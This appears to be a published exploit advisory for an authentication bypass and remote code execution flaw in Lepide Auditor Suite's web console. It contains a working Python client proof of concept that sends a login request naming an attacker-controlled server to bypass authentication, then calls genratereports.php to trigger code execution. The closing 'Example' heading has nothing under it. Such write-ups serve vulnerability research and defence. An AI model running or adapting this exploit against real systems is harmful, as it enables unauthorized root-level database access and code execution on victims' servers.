Lepide Auditor Suite createdb() Web Console Database Injection Remote Code Execution Vulnerability
Vendor:   http://www.lepide.com/
File:     lepideauditorsuite.zip 
SHA1:     3c003200408add04308c04e3e0ae03b7774e4120
Download: http://www.lepide.com/lepideauditor/download.html
Analysis: https://www.offensive-security.com/vulndev/auditing-the-auditor/
 
Summary:
========
 
The application allows an attacker to specify a server where a custom protocol is implemented. This server performs the authentication and allows an attacker to execute controlled SQL directly against the database as root.
 
Additional code:
================
 
When I wrote this poc, I didn't combine the server and client into a single poc. So below is the client-poc.py code:
 
root@kali:~# cat client-poc.py
#!/usr/bin/python
import requests
import sys
 
if len(sys.argv) < 3:
    print "(+) usage: %s <target> <attacker's server>" % sys.argv[0]
    sys.exit(-1)
 
target = sys.argv[1]
server = sys.argv[2]
 
s = requests.Session()
print "(+) sending auth bypass"
s.post('http://%s:7778/' % target, data = {'servername':server, 'username':'whateva','password':'thisisajoke!','submit':''}, allow_redirects=False)
print "(+) sending code execution request"
s.get('http://%s:7778/genratereports.php' % target, params = {'path':'lol','daterange':'2@3','id':'6'})
 
Example:
========
